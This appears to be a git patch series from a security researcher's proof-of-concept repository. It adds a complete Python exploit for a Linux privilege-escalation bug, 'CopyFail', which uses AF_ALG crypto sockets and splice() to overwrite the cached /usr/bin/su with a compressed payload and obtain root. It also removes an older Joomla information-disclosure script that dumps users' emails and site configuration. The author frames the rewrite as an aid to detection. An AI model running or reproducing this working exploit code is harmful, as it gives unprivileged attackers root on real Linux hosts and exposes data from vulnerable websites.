From 4c80dfb1bfa09bd27f202d3990254a0efedea73d Mon Sep 17 00:00:00 2001 From: 0xVoodoo Date: Thu, 30 Apr 2026 20:29:10 -0600 Subject: [PATCH 1/2] Adding CopyFail - CVE-2026-31431 --- CVE-2026-31431/CVE-2026-31431.md | 18 +++++++++++++++ CVE-2026-31431/CVE-2026-31431.py | 38 ++++++++++++++++++++++++++++++++ README.md | 1 + 3 files changed, 57 insertions(+) create mode 100644 CVE-2026-31431/CVE-2026-31431.md create mode 100644 CVE-2026-31431/CVE-2026-31431.py diff --git a/CVE-2026-31431/CVE-2026-31431.md b/CVE-2026-31431/CVE-2026-31431.md new file mode 100644 index 0000000..15319e0 --- /dev/null +++ b/CVE-2026-31431/CVE-2026-31431.md @@ -0,0 +1,18 @@ +# CopyFail | CVE-2026-31431 - Linux Privilege Escalation via Authencesn Scratch-Write Bug + +Full writeup @ [my blog](https://0xvoodoo.sh/articles/copyfail/) | OG Writeup [here](https://xint.io/blog/copy-fail-linux-distributions#the-root-cause-page-cache-pages-in-the-writable-scatterlist-1) + +This exploit has caused quite the panic among defenders, so I re-wrote/unminified [the original PoC](https://github.com/theori-io/copy-fail-CVE-2026-31431) to more easily look at detection opportunities. + +In short, this exploit abuses the way `splice()` works and the AF_ALG socket type within [authencesn.c](https://github.com/torvalds/linux/blob/26fd6bff2c050196005312d1d306889220952a99/crypto/authencesn.c#L3) from the Linux crypto libraries. More or less, it allows the attacker to write 4 bytes of memory at a time to pagefiles, leading to the overwrite of the in-cache version of open files. When this is done with a SUID binary, like `/bin/su` the attacker is able to then execute the binary, which will pulls from the cache. This leaves the legit version of the overwritten binary in place while allowing arbitrary non-privileged users to gain root perms. + +*Note* - this version needs at least Python 3.10 + +# License + +GPL v3.0 - as all good software should be + +Only use with explicit permission from the target system owner. + +Remember - don't be a skid :) + diff --git a/CVE-2026-31431/CVE-2026-31431.py b/CVE-2026-31431/CVE-2026-31431.py new file mode 100644 index 0000000..0014ac1 --- /dev/null +++ b/CVE-2026-31431/CVE-2026-31431.py @@ -0,0 +1,38 @@ +import os, zlib, socket + + +def exploit(zlib_payload, su_file, counter): + + listener = socket.socket(38, 5, 0) + listener.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) + + listener.setsockopt(279, 1, bytes.fromhex('0800010000000010'+'0'*64)) + listener.setsockopt(279, 5, None, 4) + + connection, _ = listener.accept() + + connection.sendmsg([b"A"*4+zlib_payload], [(279, 3, b'\x00'*4), (279, 2, b'\x10'+b'\x00'*19), (279, 4, b'\x08' + b'\x00' * 3),], 32768) + + stdin, stdout = os.pipe() + + os.splice(su_file, stdout, counter + 4, offset_src=0) + os.splice(stdin, connection.fileno(), counter + 4) + + try: + connection.recv(8 + counter) + except: + 0 + +if __name__ == "__main__": + + zlib_payload = zlib.decompress(bytes.fromhex("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) + + su_file = os.open("/usr/bin/su", 0) + + i = 0 + + while i < len(zlib_payload): + exploit(zlib_payload[i:i+4], su_file, i) + i += 4 + + os.system("su") diff --git a/README.md b/README.md index b967d9b..083d4ed 100644 --- a/README.md +++ b/README.md @@ -7,6 +7,7 @@ This repo contains proof of concept exploits for vulnerabilities I've come acros - [CVE-2023-23752](https://github.com/0xVoodoo/PoCs/tree/main/CVE-2023-23752) - Information disclosure in Joomla CMS. - [CVE-2025-24893](https://github.com/0xVoodoo/PoCs/tree/main/CVE-2025-24893) - RCE in XWiki. - [CVE-2025-24071](https://github.com/0xVoodoo/PoCs/tree/main/CVE-2025-24071) - Windows Explorer NTLM Hash Disclosure +- [CVE-2026-31431](https://github.com/0xVoodoo/PoCs/tree/main/CVE-2026-31431) - Linux LPE via Authencesn Scratch-Write Bug # License GPLv3 as all good software (or exploits I guess) should be. From 2f136f2a5f0f429c3c38893bf1e65530186550f5 Mon Sep 17 00:00:00 2001 From: 0xVoodoo <79277183+0xVoodoo@users.noreply.github.com> Date: Thu, 30 Apr 2026 20:29:55 -0600 Subject: [PATCH 2/2] Delete CVE-2023-23752.py --- CVE-2023-23752.py | 76 ----------------------------------------------- 1 file changed, 76 deletions(-) delete mode 100644 CVE-2023-23752.py diff --git a/CVE-2023-23752.py b/CVE-2023-23752.py deleted file mode 100644 index bef468d..0000000 --- a/CVE-2023-23752.py +++ /dev/null @@ -1,76 +0,0 @@ -import requests -import json -import argparse - -class User: - def __init__(user, name, email, lastvisitDate, groupNames): - user.name = name - user.email = email - user.lastvisitDate = lastvisitDate - user.groupNames = groupNames - - def __str__(user): - return f"Username: {user.name}\nEmail: {user.email}\nLast Visit: {user.lastvisitDate}\nGroups: {user.groupNames}" - -def vulnCheck(tgt): - verUrl = tgt + "/administrator/manifests/files/joomla.xml" - verData = requests.get(verUrl) - if len(verData.text) == 0 or "404" in verData.text.lower() or "403" in verData.text.lower(): - print("[-] Site does not appear to be vulnerable!") - raise SystemExit - -def getUsers(tgt): - usrUrl = tgt + "/api/index.php/v1/users?public=true" - usrData = requests.get(usrUrl) - if "404" in usrData.text.lower() or "403" in usrData.text.lower(): - print("[-] Error fetching user data, site may not be vulnerable") - raise SystemExit - parsedUsrs = json.loads(usrData.text) - return parsedUsrs - -def parseUsers(usrData): - users = [] - for user in usrData["data"]: - userAtribs = user["attributes"] - newUser = User(userAtribs["username"], - userAtribs["email"], - userAtribs["lastvisitDate"], - userAtribs["group_names"] ) - users.append(newUser) - return users - -def getConfig(tgt): - cfgUrl = tgt + "/api/index.php/v1/config/application?public=true" - cfgData = requests.get(cfgUrl) - if "404" in cfgData.text.lower() or "403" in cfgData.text.lower(): - print("[-] Error fetching user data, site may not be vulnerable") - raise SystemExit - parsedCfg = json.loads(cfgData.text) - return parsedCfg - - - -if __name__ == "__main__": - parser = argparse.ArgumentParser(prog='Joomla Info Disclosure CVE-2023-23752', description='This is a PoC for CVE-2023-23752, an information disclosure vulnerability in Joomla < 4.2.8', epilog='Written by 0xVoodo') - parser.add_argument('-t', '--target', required=True, help='Target IP/URL') - args = parser.parse_args() - - tgt = args.target.lower() - - if tgt[4] != "http" and tgt[5] != "https": - print("[*] No URL schema specified, defaulting to HTTP") - tgt = "http://" + tgt - - vulnCheck(tgt) - - print(f"\n[+] User data found!") - print("----------") - for user in parseUsers(getUsers(tgt)): - print(user) - print("----------") - - print(f"\n[+] Config data found!") - print("----------") - for i in getConfig(tgt)["data"]: - print(i["attributes"]) -